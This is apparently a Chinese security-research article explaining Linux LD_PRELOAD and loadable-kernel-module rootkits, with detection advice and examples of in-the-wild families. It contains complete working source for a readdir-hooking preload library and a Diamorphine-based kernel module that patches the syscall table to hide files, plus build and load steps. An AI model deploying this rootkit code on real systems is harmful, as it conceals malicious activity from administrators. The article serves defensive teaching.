linux LD_PRELOAD 和 LKM rootkit方法

背景

山石网科情报团队,在处理客户挖矿主机取证过程中,发现某个挖门罗币家族的样本,通过套用开源rootkit方案隐藏恶意文件。本期将围绕恶意样本对抗经验,介绍两种linux常见的rootkit对抗方法。

linux LD_PRELOAD 和 LKM rootkit方法

本文将介绍用户态LD_PRELOAD rootkit方法和内核态通过可加载的内核模块 rootkit方法。

1

 

用户态 LD_PRELOAD 方法

什么是动态链接器(Linux dynamic linker Linux)

在 Windows 和 Linux 等现代操作系统中,程序可以静态或动态链接。静态链接的二进制文件与执行所需的所有依赖项(库)一起编译。动态链接的二进制文件使用位于操作系统上的共享库。这些库将在运行时解析、加载和链接。负责此操作的 Linux 组件是动态链接器,也称为 ld.so 或 ld-linux.so。
比如,linux经常使用的ls命令,ldd命令允许我们检查 ELF 的依赖项和共享库

linux LD_PRELOAD 和 LKM rootkit方法

在输出中,我们可以看到 ls 二进制文件使用 libselinux 、 libc 和 libpcre 库。第一个列出的依赖项是虚拟动态共享对象,这是一个紧凑的共享库,由内核自动映射到所有用户空间应用程序的地址空间。最后列出的依赖项是动态链接器位置。
接下来,运行 strace ls ,查看ls执行之后各种库被加载的情况。

linux LD_PRELOAD 和 LKM rootkit方法

系统会在加载 libselinux 之前检查 /etc/ld.so.preload 是否存在,如上图1处。这就是用户态rootkit的关键位置。

ld_preload

Linux 动态链接器提供了一个名为 LD_PRELOAD 的重要功能。 LD_PRELOAD 保存用户指定的 ELF 共享对象的列表。它使用户能够在任何其他共享库之前以及在程序本身执行之前将这些共享对象加载到进程的地址空间中。此功能有多种用途,包括调试、测试和运行时检测,并且可以通过写入 /etc/ld.so.preload 文件或利用LD_PRELOAD 环境变量来使用

检查ls的源码(https://github.com/wertarbyte/coreutils/blob/master/src/ls.c

 while (1
    { 
      /* Set errno to zero so we can distinguish between a readdir failure 
         and when readdir simply finds that there are no more entries.  */
 
      errno = 0
      next = readdir (dirp); 
      if (next) 
        { 
          if (! file_ignored (next->d_name)) 
            { 
              enum filetype type = unknown; 
 
#if HAVE_STRUCT_DIRENT_D_TYPE 
              switch (next->d_type) 
                { 
                case DT_BLK:  type = blockdev;  break
                case DT_CHR:  type = chardev;  break
                case DT_DIR:  type = directory;  break
                case DT_FIFO: type = fifo;  break
                case DT_LNK:  type = symbolic_link; break
                case DT_REG:  type = normal;  break
                case DT_SOCK: type = sock;  break
ifdef DT_WHT 
                case DT_WHT:  type = whiteout;  break
endif 
                }
我们可以看到 libc 的 readdir 函数的使用。 ls 使用循环内的 readdir 函数逐一读取目录条目。readdir 函数返回一个指向 dirent 结构的指针,该结构包含有关目录条目的信息,例如名称。一旦返回NULL,就表示目录结束。

Demo

目标:用户执行ls,看不到当前的malicious_file文件名。
现在创建一个预加载库,修改 readdir函数以隐藏名为“malicious_file”的文件,编译它,并将其添加到 LD_PRELOAD:

创建目录 /tmp/working-dir-test ,并将以下代码复制到该目录下的 hijackls.c 文件中:

#define _GNU_SOURCE 
#include <stdio.h> 
#include <stdlib.h> 
#include <dlfcn.h> 
#include <dirent.h> 
#include <string.h> 
// Function pointer typedef for the original readdir ls function 
typedef struct dirent* (*ls_t)(DIR*); 
// Interposed ls function 
struct dirent* readdir(DIR* dirp) 
  // 获取原始 readdir 地址 
  ls_t original_readdir = (ls_t)dlsym(RTLD_NEXT, "readdir"); 
  struct dirententry; 
  do { 
    // 调用原始 ls 函数获取next directory 入口 
    entry = original_readdir(dirp); 
    // 检查入口地址是否是我们的目标 
    if (entry != NULL && strcmp(entry->d_name, "malicious_file") == 0) { 
      // 跳过 
      entry = original_readdir(dirp); 
    } 
  } while (entry != NULL && strcmp(entry->d_name, "malicious_file") == 0); 
  return entry; 
}
在上面的预加载库代码中,我们定义了一个 readdir 函数,它充当插入函数,并在执行 ls 命令时调用而不是原始的 readdir 。在我们插入的 readdir 函数中,我们使用 dlsym 获取原始 readdir 函数的地址,然后调用它来获取下一个目录条目。我们将每个条目的名称与“malicious_file”进行比较,如果匹配则跳过它,从而有效地从 ls 输出中隐藏该文件。

dlsym 允许我们在运行时获取共享对象/库中函数的地址。使用dlsym中的RTLD_NEXT句柄,我们可以找到并调用原始的 readdir 函数。

1. 将代码编译为共享对象: 

gcc -shared -fPIC -o /tmp/working-dir-test/libhijackls.so /tmp/working-dir-test/hijackls.c -ldl
2. 将 LD_PRELOAD 导出到共享对象的位置: 
export LD_PRELOAD=/tmp/working-dir-test/libhijackls.so

3. 先创建一个名为malicious_file的文件,执行ls,再执行步骤3,再执行ls,查看效果。

4. 最后,通过运行 unset LD_PRELOAD 取消设置环境变量。

linux LD_PRELOAD 和 LKM rootkit方法

LD_PRELOAD 和/etc/ld.so.preload 之间的区别
/etc/ld.so.preload 是系统范围的配置文件,适用于所有进程并影响整个系统。访问此文件需要 root 权限。 LD_PRELOAD 是一个环境变量,允许各个用户指定要在每个进程的基础上为特定可执行文件或命令预加载的库。因此不需要 root 即可使用它。 LD_PRELOAD 定义的库先于 /etc/ld.so.preload 中的库加载。
在野对抗

动态链接器劫持 Rootkit 技术已被众多ACTOR使用。比如:

  • TeamTNT – 该组织在不同的活动中使用了 libprocesshider。 Libprocesshider(https://github.com/gianlucaborello/libprocesshider是一个开源工具,通过覆盖 readdir 函数来隐藏常用进程列表工具(例如 ps、top 和 lsof)中的特定进程。该技术使 TeamTNT 能够隐藏 XMRig 加密挖矿和其他恶意进程。

  • Symbiote – 前者Rootkit 是一个基于开源的辅助工件,负责隐藏其他恶意活动活动,而 Symbiote 既是后门,又是重新编写的 Rootkit。 Symbiote 通过hook libc 和 libpcap 中的函数来隐藏其恶意活动。它还使用这些功能通过hooklibc 的 read 函数并检查调用它的进程是 ssh 还是 scp

  • OrBit – OrBit 是一个动态链接器劫持 rootkit,由植入程序和恶意共享对象组成。释放器的任务是确保共享对象在任何其他对象之前加载。为了确保这一点,OrBit 使用了两种技术:将对象路径添加到 /etc/ld.so.preload 中,并通过将 /etc/ld.so.preload 字符串替换为恶意软件提供的专用路径来修补加载程序的二进制文件。与 Symbiote 类似,OrBit hooklibc 、 libpcapm 和 PAM 中的函数来获取凭据、逃避检测、获得持久性并提供远程访问。
检测方法

攻击者使用 LD_PRELOAD 来hook不同的用户空间函数,并使调查受感染的计算机变得困难。以下检测方法可以帮助判断是否感染了该类型的rootkit:

  • 对于 /etc/ld.so.preload :文件中的更改将写入磁盘。建议使用镜像快照检查此文件。如果发现不寻常的库路径,请检查它。

  • 对于 LD_PRELOAD :搜索使用意外的 LD_PRELOAD 环境变量执行的进程(每个进程的所有环境变量都位于/proc/{pid}/environ file 下)。如果发现不常见的库路径,请检查它。

  • 将运行时文件系统与镜像快照进行比较。如果存在差异,这些文件可能是某些命令隐藏的攻击的一部分。

  • 使用Unhide 等工具。 Unhide 使用不同的强力技术来检测隐藏的进程。

2

 

可加载内核模块(LKM) rootkit方法

基础介绍
Linux内核是操作系统的核心,它管理系统资源并为操作系统的其他部分和应用程序提供必要的服务。可加载内核模块是可以动态加载到 Linux 内核中以扩展其功能的代码片段,而无需重新编译内核甚至重新启动。例如,当需要处理内核不支持的新型文件系统时,您可能需要加载旨在为该文件系统类型提供支持的特定内核模块。可加载内核模块被设计为可在运行时加载,允许内核适应不同的硬件配置并支持各种设备和功能,而无需重新编译或修改主内核代码。
怎么接触内核模块

Linux 提供了各种命令来管理内核模块,这些命令是 kmod 实用程序的一部分。这些命令包括:

  • insmod :用于手动将内核模块插入正在运行的内核中。

  • rmmod :用于卸载(删除)内核模块。

  • modprobe :高级模块管理工具,不仅可以加载模块,还可以处理模块依赖关系,在需要时自动加载相关模块。

  • lsmod :用于列出所有已加载的内核模块。它通过从 /proc/modules 文件读取信息并查询 /sys/module/ 目录以获取每个模块的详细信息来进行操作。
通常,用户不会直接调用 kmod ,因为它主要由包管理器和系统工具用来有效地处理内核模块。

三个相关文件和目录:

  • /lib/modules/ – 包含特定于系统上安装的不同内核版本的内核模块和相关文件。 /lib/modules/ 中的每个子目录对应于特定的内核版本,并包含以下组件。它允许操作系统将不同的内核版本及其关联的模块分开,从而在需要时更容易在内核版本之间切换。

  • /proc/modules – 这个虚拟文件提供当前加载的内核模块的列表。该文件中的每一行代表一个加载的模块,并包含有关该模块的信息,包括其名称、大小和使用计数。

  • /sys/module/ – 此虚拟目录提供有关当前加载的内核模块的信息。每个加载的模块在 /sys/modules/ 下都有自己的目录,并且在每个模块的目录中,有不同的文件包含有关该模块的信息。该目录允许用户空间进程、工具和管理员在运行时访问有关加载的内核模块及其属性的信息。浏览此处以了解有关此目录结构的更多信息。
在我们深入研究攻击者如何滥用 LKM 之前,了解什么是系统调用和内核函数非常重要。
当用户空间程序需要执行需要与内核交互的任务(例如,读取文件、创建网络套接字、管理进程)时,它必须要求内核执行这些操作。系统调用充当用户空间和内核空间之间的接口,允许内核代表用户程序执行请求的操作。浏览 Linux 系统调用手册页以获取有关系统调用的更多信息。
系统调用是一种从用户空间调用内核函数的方法,但绝大多数内核代码并不作为系统调用公开,而是由内核在内部使用来执行与管理系统资源和维护整体操作相关的各种任务操作系统的。它们不是用户程序可以通过系统调用访问的标准化接口的一部分。
LKM使用
主要通过hook系统调用或者内核控制流来实现。内核模块 Rootkit 需要访问主机上的系统内核,需要有高的权限或者 SYS_MODULE 权限。
内核函数HOOK
一旦攻击者能够插入恶意 LKM,他们就可以完全控制内核空间(因此,可以控制整个机器),并且可以滥用内核中的不同功能。
攻击者用来HOOK内核函数的一些常见方法:Syscall 表修改、Kprobes(内核探针)、Ftrace 和 VFS(虚拟文件系统)操作。
系统调用表修改(Syscall)
系统调用表是Linux内核用来管理系统调用的数据结构。它充当一个查找表,其中包含指向负责处理特定系统调用的函数的指针。当用户空间程序进行系统调用时,内核使用此表来查找适当的处理函数并执行请求的系统调用。

linux LD_PRELOAD 和 LKM rootkit方法

通过完全控制内核空间,可以更改此表并操作处理程序指针值。攻击者可以通过保存旧的处理程序值并将自己的处理程序添加到表中来hook任何系统调用。 利用此方法的开源 LKM rootkit 项目:Diamorphine。

使用 Kprobes(内核探针)

Kprobes 是 Linux 内核中的一项动态检测功能,允许开发人员在内核代码路径中的特定点插入自定义代码(探针)。这些探针旨在用于调试、分析、跟踪和收集有关内核行为的运行时信息,而无需修改实际的内核代码。

Kprobes 的工作原理是将探测处理函数附加到内核代码中的选定点。当执行该特定代码路径时,将调用探测处理程序函数。通过将 kprobe 放置在敏感的内核函数上,攻击者可以在调用该函数时执行其代码。

利用此方法的开源 LKM rootkit 项目:Reptile(khook)。

使用 Ftrace

Ftrace 是 Linux 内核中的内置跟踪框架,它提供了用于收集和分析有关内核行为和性能的不同类型运行时信息的工具和基础设施。它旨在帮助开发人员和系统管理员了解内核如何运行并识别性能瓶颈、调试问题等。

Ftrace 允许用户跟踪特定的内核函数。攻击者可以利用此功能来hool并拦截内核函数的执行。

利用此方法的开源 LKM rootkit 项目: Ftrace-hook 。

VFS(虚拟文件系统)操作

VFS 是类 Unix 操作系统的关键组件,它通过启用 open()、stat()、read()、write() 和 chmod() 等系统调用,为用户空间程序提供文件系统接口。 VFS 抽象并统一了对不同文件系统的访问,允许各种文件系统实现共存。 VFS 是代表通用文件模型的一系列数据结构。

攻击者可以hook与特定文件系统关联的函数指针,例如 root 和 proc 并用自己的函数指针替换它们。例如,替换readdir 文件操作函数指针(旧内核版本请参见文件操作结构体)。

利用此方法的开源 LKM rootkit 项目: adore-ng 和 suterusu 。

demo

getdents 系统调用由 ls 和 ps 等程序使用,这些程序读取目录内容作为其流程的一部分。此系统调用通常作为LKM Rootkit 的一部分进行hook。另外,攻击者通常会hook filldir (或 fillonedir )内核函数,因此hook filldir 是出于相同目的的较低级别的hook。我们创建一个内核模块,使用系统调用表修改方法来挂钩 getdents64 系统调用,以隐藏名为“malicious_file”的文件,编译并加载它。主要一定要在虚拟环境中,或者非生成环境中测试。

1. 在/tmp下创建工作目录:

mkdir /tmp/test-lkm-rootkit && cd /tmp/test-lkm-rootkit
2. 安装相关软件包
apt install -y build-essential libncurses-dev linux-headers-$(uname -r)

对于基于 yum 的机器运行

yum install -y kernel-devel-$(uname -r) && yum –y groupinstall 'Development Tools'
3. 创建 Makefile 并复制以下内容:
obj-m := lkmdemo.o 
CC = gcc -Wall  
KDIR := /lib/modules/$(shell uname -r)/build 
PWD := $(shell pwd) 
 
all: 
 $(MAKE) -C $(KDIR) M=$(PWD) modules 
 
clean: 
  $(MAKE) -C $(KDIR) M=$(PWD) clean
4. 创建一个名为lkmdemo.c的文件并复制以下模块代码(该代码参考自 Diamorphine rootkit):
#include <linux/sched.h> 
#include <linux/module.h> 
#include <linux/syscalls.h> 
#include <linux/dirent.h> 
#include <linux/slab.h> 
#include <linux/version.h>  
#include <linux/proc_ns.h> 
#include <linux/fdtable.h> 
#ifndef __NR_getdents 
#define __NR_getdents 141 
#endif 
#define MAGIC_PREFIX "malicious_file" 
#define MODULE_NAME "lkmdemo" 
 
struct linux_dirent { 
        unsigned long   d_ino; 
        unsigned long   d_off; 
        unsigned short  d_reclen; 
        char            d_name[1]; 
}; 
 
unsigned long cr0; 
static unsigned long *__sys_call_table; 
typedef asmlinkage long (*t_syscall)(const struct pt_regs *)
static t_syscall orig_getdents; 
static t_syscall orig_getdents64; 
 
unsigned long * get_syscall_table_bf(void) 

  unsigned long *syscall_table; 
  syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table"); 
  return syscall_table; 

static asmlinkage long hacked_getdents64(const struct pt_regs *pt_regs) 
  struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si; 
  int ret = orig_getdents64(pt_regs), err; 
  unsigned long off = 0
  struct linux_dirent64 *dir, *kdirent, *prev = NULL; 
  if (ret <= 0
    return ret; 
  kdirent = kzalloc(ret, GFP_KERNEL); 
  if (kdirent == NULL
    return ret; 
  err = copy_from_user(kdirent, dirent, ret); 
  if (err) 
    goto out; 
  while (off < ret) { 
    dir = (void *)kdirent + off; 
    if (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0) { 
      if (dir == kdirent) { 
        ret -= dir->d_reclen; 
        memmove(dir, (void *)dir + dir->d_reclen, ret); 
        continue
      } 
      prev->d_reclen += dir->d_reclen; 
    } else 
      prev = dir; 
    off += dir->d_reclen; 
  } 
  err = copy_to_user(dirent, kdirent, ret); 
  if (err) 
    goto out; 
out: 
  kfree(kdirent); 
  return ret; 

 
static asmlinkage long hacked_getdents(const struct pt_regs *pt_regs) 
  struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si; 
  int ret = orig_getdents(pt_regs), err; 
  unsigned long off = 0
  struct linux_dirent *dir, *kdirent, *prev = NULL; 
  if (ret <= 0
    return ret;  
  kdirent = kzalloc(ret, GFP_KERNEL); 
  if (kdirent == NULL
    return ret; 
  err = copy_from_user(kdirent, dirent, ret); 
  if (err) 
    goto out; 
  while (off < ret) { 
    dir = (void *)kdirent + off; 
    if (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0) { 
      if (dir == kdirent) { 
        ret -= dir->d_reclen; 
        memmove(dir, (void *)dir + dir->d_reclen, ret); 
        continue
      } 
      prev->d_reclen += dir->d_reclen; 
    } else 
      prev = dir; 
    off += dir->d_reclen; 
  } 
  err = copy_to_user(dirent, kdirent, ret); 
  if (err) 
    goto out; 
out: 
  kfree(kdirent); 
  return ret; 

 
static inline void write_cr0_forced(unsigned long val) 

  unsigned long __force_order; 
  asm volatile
    "mov %0, %%cr0" 
    : "+r"(val), "+m"(__force_order))


 
static inline void protect_memory(void) 

  write_cr0_forced(cr0); 

static inline void unprotect_memory(void) 

  write_cr0_forced(cr0 & ~0x00010000); 

 
static int __init lkmdemo_init(void) 

  __sys_call_table = get_syscall_table_bf(); 
  if (!__sys_call_table) 
    return -1
  cr0 = read_cr0(); 
  orig_getdents = (t_syscall)__sys_call_table[__NR_getdents]; 
  orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64]; 
  unprotect_memory(); 
  __sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents; 
  __sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64; 
  protect_memory(); 
  return 0

 
static void __exit lkmdemo_cleanup(void) 

  unprotect_memory(); 
  __sys_call_table[__NR_getdents] = (unsigned long) orig_getdents; 
  __sys_call_table[__NR_getdents64] = (unsigned long) orig_getdents64; 
  protect_memory(); 

 
module_init(lkmdemo_init); 
module_exit(lkmdemo_cleanup); 
 
MODULE_LICENSE("Dual BSD/GPL"); 
MODULE_AUTHOR("demo"); 
MODULE_DESCRIPTION("LKM rootkit based on diamorphine"); 
5. 运行 make 创建 .ko 文件。
6. 创建名为:malicious_file 的文件。
7. 先执行ls,再加载内核模块 insmod lkmdemo.ko.,再次运行ls,查看结果;
8. 运行 lsmod 并在输出中查看 lkmdemo。
9. 卸载模块 rmmod lkmdemo 。
在野使用
  • Diamporphine (https://github.com/m0nad/Diamorphine) rootkit.

  • Skidmap 恶意软件使用 LKM rootkit 来隐藏加密货币挖矿活动。
检测方法
  • 将运行时文件系统与镜像快照进行比较。如果存在差异,这些文件可能是某些命令隐藏的攻击的一部分。

  • 一旦加载了内核模块,就会调用 init_module (或 finit_module )系统调用。如果使用程序运行时检测工具,请确保会针对此事件发出警报的工具。

  • Unhide 使用不同的强力技术来检测隐藏的进程。

  • 使用 AppArmor 和 SElinux 等访问控制机制来限制哪些进程和用户可以加载内核模块并与内核模块交互。

  • 使用安全启动。安全启动是一项功能,可确保在系统启动过程中只能加载经过签名且受信任的组件(包括内核模块)。它可以防止加载未经授权的模块。

3

 

工具链接

https://github.com/m0nad/Diamorphine
https://github.com/gianlucaborello/libprocesshider


关于山石网科情报中心

山石网科情报中心,涵盖威胁情报狩猎运维和入侵检测与防御团队。 山石网科情报中心专注于保护数字世界的安全。以情报狩猎、攻击溯源和威胁分析为核心,团队致力于预防潜在攻击、应对安全事件。山石网科情报中心汇集网络安全、计算机科学、数据分析等专家,多学科融合确保全面的威胁分析。我们积极创新,采用新工具和技术提升分析效率。团队协同合作,分享信息与见解,追求卓越,为客户保驾护航。无论是防范未来威胁还是应对当下攻击,我们努力确保数字世界安全稳定。其中山石网科网络入侵检测防御系统,是山石网科公司结合多年应用安全的攻防理论和应急响应实践经验积累的基础上自主研发完成,满足各类法律法规如 PCI、等级保护、企业内部控制规范等要求。

原文始发于微信公众号(山石网科安全技术研究院):linux LD_PRELOAD 和 LKM rootkit方法

版权声明:admin 发表于 2024年5月30日 下午5:43。
转载请注明:linux LD_PRELOAD 和 LKM rootkit方法 | CTF导航

相关文章